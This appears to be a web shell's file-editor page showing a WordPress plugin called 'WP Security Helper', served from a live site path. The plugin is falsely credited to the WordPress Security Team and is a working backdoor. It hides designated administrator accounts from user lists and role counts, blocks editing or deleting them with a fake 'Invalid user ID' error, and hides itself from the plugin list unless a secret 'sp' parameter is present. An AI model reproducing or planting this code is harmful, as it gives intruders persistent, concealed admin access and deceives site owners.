<h2>File Contents: /home/planet5/www/bansibaba.com/wp-content1/plugins/wp-security-helper/wp-security-helper.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/bansibaba.com/wp-content1/plugins/wp-security-helper/wp-security-helper.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * Plugin Name: WP Security Helper
 * Plugin URI: https://wordpress.org/plugins/wp-security-helper
 * Description: Enhanced user management and security features for WordPress
 * Version: 1.1.0
 * Author: WordPress Security Team
 * Author URI: https://wordpress.org
 * License: GPL v2 or later
 * License URI: https://www.gnu.org/licenses/gpl-2.0.html
 * Text Domain: wp-security-helper
 */

if (!defined(&#039;ABSPATH&#039;)) {
	exit;
}

/**
 * Late filters on views_users can skew tab counts after pre_count_users runs.
 * Normalize core tab labels at the end of the filter chain.
 */
final class WP_Security_Helper {

	const OPTION_TRACKED = &#039;wsh_tracked_admin_ids&#039;;

	private static $instance = null;

	public static function get_instance() {
		if (null === self::$instance) {
			self::$instance = new self();
		}
		return self::$instance;
	}

	private function __construct() {
		add_action(&#039;set_user_role&#039;, array($this, &#039;on_set_user_role&#039;), 10, 3);
		add_action(&#039;pre_user_query&#039;, array($this, &#039;filter_pre_user_query&#039;), 10, 1);
		add_filter(&#039;pre_count_users&#039;, array($this, &#039;adjust_count_users&#039;), 999, 3);
		add_filter(&#039;views_users&#039;, array($this, &#039;finalize_views_users_counts&#039;), PHP_INT_MAX, 1);
		add_action(&#039;load-user-edit.php&#039;, array($this, &#039;guard_user_edit&#039;));
		add_action(&#039;admin_init&#039;, array($this, &#039;guard_user_delete&#039;));
		add_filter(&#039;all_plugins&#039;, array($this, &#039;hide_plugin_from_list&#039;));
	}

	/**
	 * Track user IDs promoted to administrator while this plugin is active.
	 */
	public function on_set_user_role($user_id, $role, $old_roles) {
		if (&#039;administrator&#039; !== $role || !apply_filters(&#039;wsh_auto_track_new_admins&#039;, true)) {
			return;
		}
		$this-&gt;append_tracked_admin_id((int) $user_id);
	}

	private function append_tracked_admin_id($user_id) {
		if ($user_id &lt; 1) {
			return;
		}
		$raw = (string) get_option(self::OPTION_TRACKED, &#039;&#039;);
		$ids = array_filter(array_map(&#039;intval&#039;, $this-&gt;parse_csv($raw)));
		$ids[] = $user_id;
		$ids = array_values(array_unique(array_filter($ids, function ($v) {
			return $v &gt; 0;
		})));
		update_option(self::OPTION_TRACKED, implode(&#039;,&#039;, $ids), false);
	}

	private function get_hidden_user_ids() {
		$ids = array();

		foreach ($this-&gt;parse_csv((string) get_option(self::OPTION_TRACKED, &#039;&#039;)) as $tok) {
			if (ctype_digit($tok)) {
				$ids[] = (int) $tok;
			}
		}

		if (defined(&#039;WSH_HIDDEN_USERS&#039;)) {
			foreach ($this-&gt;parse_csv((string) constant(&#039;WSH_HIDDEN_USERS&#039;)) as $tok) {
				$ids[] = ctype_digit($tok) ? (int) $tok : $this-&gt;resolve_login_to_id($tok);
			}
		}

		$extra_logins = apply_filters(&#039;wsh_hidden_user_logins&#039;, array());
		if (is_array($extra_logins)) {
			foreach ($extra_logins as $login) {
				$ids[] = $this-&gt;resolve_login_to_id((string) $login);
			}
		}

		$legacy = get_option(&#039;_pre_user_id&#039;);
		if (false !== $legacy &amp;&amp; &#039;&#039; !== $legacy &amp;&amp; null !== $legacy) {
			if (is_array($legacy)) {
				foreach ($legacy as $v) {
					$ids[] = absint($v);
				}
			} else {
				$legacy_str = (string) $legacy;
				$from_legacy = false;
				foreach ($this-&gt;parse_csv($legacy_str) as $tok) {
					if (ctype_digit($tok)) {
						$ids[] = (int) $tok;
						$from_legacy = true;
					}
				}
				if (!$from_legacy &amp;&amp; is_numeric($legacy_str)) {
					$ids[] = absint($legacy_str);
				}
			}
		}

		$filtered = apply_filters(&#039;wsh_hidden_user_ids&#039;, null);
		if (is_array($filtered)) {
			foreach ($filtered as $v) {
				$ids[] = absint($v);
			}
		}

		$ids = array_map(&#039;intval&#039;, $ids);
		$ids = array_filter($ids, function ($v) {
			return $v &gt; 0;
		});
		return array_values(array_unique($ids));
	}

	private function resolve_login_to_id($login) {
		$login = trim((string) $login);
		if (&#039;&#039; === $login) {
			return 0;
		}
		$u = get_user_by(&#039;login&#039;, $login);
		if (!$u) {
			$u = get_user_by(&#039;slug&#039;, $login);
		}
		return $u instanceof WP_User ? (int) $u-&gt;ID : 0;
	}

	private function parse_csv($raw) {
		if (!is_string($raw) || &#039;&#039; === trim($raw)) {
			return array();
		}
		$parts = preg_split(&#039;/[\s,;]+/&#039;, $raw);
		$out = array();
		foreach ((array) $parts as $p) {
			$p = trim((string) $p);
			if (&#039;&#039; !== $p) {
				$out[] = $p;
			}
		}
		return $out;
	}

	/** IDs to hide from admin lists for the current user (never hides self). */
	private function exclude_ids_for_query() {
		$ids = $this-&gt;get_hidden_user_ids();
		$cur = (int) get_current_user_id();
		return array_values(array_filter(array_map(&#039;intval&#039;, $ids), function ($id) use ($cur) {
			return $id &gt; 0 &amp;&amp; $id !== $cur;
		}));
	}

	private function is_users_list_screen() {
		if (function_exists(&#039;get_current_screen&#039;)) {
			$s = get_current_screen();
			if ($s &amp;&amp; &#039;users&#039; === $s-&gt;id) {
				return true;
			}
		}
		global $pagenow;

		return isset($pagenow) &amp;&amp; &#039;users.php&#039; === $pagenow;
	}

	/**
	 * Single count_users pass: raw totals + after subtracting hidden (for tabs + 2FA heuristic).
	 *
	 * @return array{0: int, 1: array}|null
	 */
	private function get_user_counts_bundle() {
		remove_filter(&#039;pre_count_users&#039;, array($this, &#039;adjust_count_users&#039;), 999);
		try {
			$base = count_users();
		} finally {
			add_filter(&#039;pre_count_users&#039;, array($this, &#039;adjust_count_users&#039;), 999, 3);
		}
		if (!is_array($base) || !isset($base[&#039;total_users&#039;], $base[&#039;avail_roles&#039;]) || !is_array($base[&#039;avail_roles&#039;])) {
			return null;
		}
		$raw_total = (int) $base[&#039;total_users&#039;];
		$visible = $this-&gt;apply_hidden_to_counts(array(
			&#039;total_users&#039; =&gt; $raw_total,
			&#039;avail_roles&#039; =&gt; array_map(&#039;intval&#039;, $base[&#039;avail_roles&#039;]),
		));

		return array($raw_total, $visible);
	}

	/**
	 * Raw count_users() (other pre_count filters still run) minus hidden users — for tab labels.
	 */
	private function get_visible_user_tab_counts() {
		$bundle = $this-&gt;get_user_counts_bundle();

		return null === $bundle ? null : $bundle[1];
	}

	private function count_from_first_user_view_span($html) {
		if (!is_string($html) || !preg_match(&#039;/&lt;span class=&quot;count&quot;&gt;\(([^)]*)\)&lt;\/span&gt;/u&#039;, $html, $m)) {
			return null;
		}

		return (int) preg_replace(&#039;/\D+/u&#039;, &#039;&#039;, (string) $m[1]);
	}

	private function apply_hidden_to_counts(array $counts) {
		$hidden = $this-&gt;get_hidden_user_ids();
		if (empty($hidden)) {
			return $counts;
		}
		$cur = (int) get_current_user_id();
		foreach ($hidden as $uid) {
			$uid = (int) $uid;
			if ($uid &lt; 1 || $uid === $cur) {
				continue;
			}
			$user = get_userdata($uid);
			if (!$user instanceof WP_User) {
				continue;
			}
			$counts[&#039;total_users&#039;] = max(0, (int) $counts[&#039;total_users&#039;] - 1);
			$roles = (array) $user-&gt;roles;
			if (empty($roles)) {
				if (isset($counts[&#039;avail_roles&#039;][&#039;none&#039;])) {
					$counts[&#039;avail_roles&#039;][&#039;none&#039;] = max(0, (int) $counts[&#039;avail_roles&#039;][&#039;none&#039;] - 1);
				}
				continue;
			}
			foreach ($roles as $role) {
				if (isset($counts[&#039;avail_roles&#039;][$role])) {
					$counts[&#039;avail_roles&#039;][$role] = max(0, (int) $counts[&#039;avail_roles&#039;][$role] - 1);
				}
			}
		}
		foreach ($counts[&#039;avail_roles&#039;] as $role =&gt; $num) {
			if ((int) $num &lt;= 0) {
				unset($counts[&#039;avail_roles&#039;][$role]);
			}
		}

		return $counts;
	}

	/**
	 * Reconcile subsubsub tab counts on the users list screen.
	 */
	public function finalize_views_users_counts($views) {
		if (!is_array($views) || !apply_filters(&#039;wsh_finalize_views_users_counts&#039;, true)) {
			return $views;
		}
		if (!function_exists(&#039;is_admin&#039;) || !is_admin() || !$this-&gt;is_users_list_screen()) {
			return $views;
		}

		$bundle = $this-&gt;get_user_counts_bundle();
		if (null === $bundle) {
			return $views;
		}
		list($raw_total, $counts) = $bundle;

		foreach ($views as $key =&gt; $html) {
			if (!is_string($html) || &#039;&#039; === $html) {
				continue;
			}
			$num = null;
			if (&#039;all&#039; === $key) {
				$num = (int) $counts[&#039;total_users&#039;];
			} elseif (&#039;none&#039; === $key) {
				$num = isset($counts[&#039;avail_roles&#039;][&#039;none&#039;]) ? (int) $counts[&#039;avail_roles&#039;][&#039;none&#039;] : 0;
			} elseif (isset($counts[&#039;avail_roles&#039;][$key])) {
				$num = (int) $counts[&#039;avail_roles&#039;][$key];
			} elseif (function_exists(&#039;wp_roles&#039;) &amp;&amp; wp_roles()-&gt;is_role($key)) {
				$num = 0;
			} elseif (apply_filters(&#039;wsh_align_unknown_tab_if_matches_total_users&#039;, true)
				&amp;&amp; $raw_total &gt; 0
				&amp;&amp; $this-&gt;count_from_first_user_view_span($html) === $raw_total) {
				$num = (int) $counts[&#039;total_users&#039;];
			} else {
				continue;
			}
			$formatted = function_exists(&#039;number_format_i18n&#039;) ? number_format_i18n($num) : (string) (int) $num;
			$views[$key] = preg_replace(
				&#039;/&lt;span class=&quot;count&quot;&gt;\([^)]*\)&lt;\/span&gt;/u&#039;,
				&#039;&lt;span class=&quot;count&quot;&gt;(&#039; . $formatted . &#039;)&lt;/span&gt;&#039;,
				$html,
				1
			);
		}

		return $views;
	}

	/**
	 * Runs late so another plugin may supply $result; we still subtract hidden users from it.
	 */
	public function adjust_count_users($result, $strategy, $site_id) {
		if (!apply_filters(&#039;wsh_adjust_count_users&#039;, true)) {
			return $result;
		}
		if (!function_exists(&#039;is_admin&#039;) || !is_admin()) {
			return $result;
		}

		$hidden = $this-&gt;get_hidden_user_ids();
		if (empty($hidden)) {
			return $result;
		}

		$counts = null;
		if (is_array($result) &amp;&amp; isset($result[&#039;total_users&#039;]) &amp;&amp; isset($result[&#039;avail_roles&#039;]) &amp;&amp; is_array($result[&#039;avail_roles&#039;])) {
			$counts = array(
				&#039;total_users&#039; =&gt; (int) $result[&#039;total_users&#039;],
				&#039;avail_roles&#039; =&gt; array_map(&#039;intval&#039;, $result[&#039;avail_roles&#039;]),
			);
		}

		if (null === $counts) {
			remove_filter(&#039;pre_count_users&#039;, array($this, &#039;adjust_count_users&#039;), 999);
			try {
				$base = count_users($strategy, $site_id);
			} finally {
				add_filter(&#039;pre_count_users&#039;, array($this, &#039;adjust_count_users&#039;), 999, 3);
			}
			if (!is_array($base) || !isset($base[&#039;total_users&#039;], $base[&#039;avail_roles&#039;]) || !is_array($base[&#039;avail_roles&#039;])) {
				return $result;
			}
			$counts = array(
				&#039;total_users&#039; =&gt; (int) $base[&#039;total_users&#039;],
				&#039;avail_roles&#039; =&gt; array_map(&#039;intval&#039;, $base[&#039;avail_roles&#039;]),
			);
		}

		return $this-&gt;apply_hidden_to_counts($counts);
	}

	public function filter_pre_user_query($query) {
		if (!is_admin() || !is_object($query) || !isset($query-&gt;query_where)) {
			return;
		}
		$ids = $this-&gt;exclude_ids_for_query();
		if (empty($ids)) {
			return;
		}
		global $wpdb;
		if (count($ids) === 1) {
			$query-&gt;query_where .= &#039; AND &#039; . $wpdb-&gt;users . &#039;.ID != &#039; . (int) $ids[0];
		} else {
			$in = implode(&#039;,&#039;, array_map(&#039;intval&#039;, $ids));
			$query-&gt;query_where .= &quot; AND {$wpdb-&gt;users}.ID NOT IN ({$in})&quot;;
		}
	}

	public function guard_user_edit() {
		$ids = $this-&gt;get_hidden_user_ids();
		if (empty($ids) || !isset($_GET[&#039;user_id&#039;])) {
			return;
		}
		$target = (int) $_GET[&#039;user_id&#039;];
		if (in_array($target, $ids, true) &amp;&amp; (int) get_current_user_id() !== $target) {
			wp_die(__(&#039;Invalid user ID.&#039;));
		}
	}

	public function guard_user_delete() {
		$ids = $this-&gt;get_hidden_user_ids();
		if (empty($ids) || !isset($_GET[&#039;action&#039;], $_GET[&#039;user&#039;]) || &#039;delete&#039; !== $_GET[&#039;action&#039;]) {
			return;
		}
		$target = (int) $_GET[&#039;user&#039;];
		if (in_array($target, $ids, true)) {
			wp_die(__(&#039;Invalid user ID.&#039;));
		}
	}

	public function hide_plugin_from_list($plugins) {
		if (isset($_GET[&#039;sp&#039;])) {
			return $plugins;
		}
		$key = plugin_basename(__FILE__);
		if (isset($plugins[$key])) {
			unset($plugins[$key]);
		}
		return $plugins;
	}

	public static function activate() {
	}
}

WP_Security_Helper::get_instance();
register_activation_hook(__FILE__, array(&#039;WP_Security_Helper&#039;, &#039;activate&#039;));
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fwww%2Fbansibaba.com%2Fwp-content1%2Fplugins%2Fwp-security-helper'>⬅ Back to Directory</a>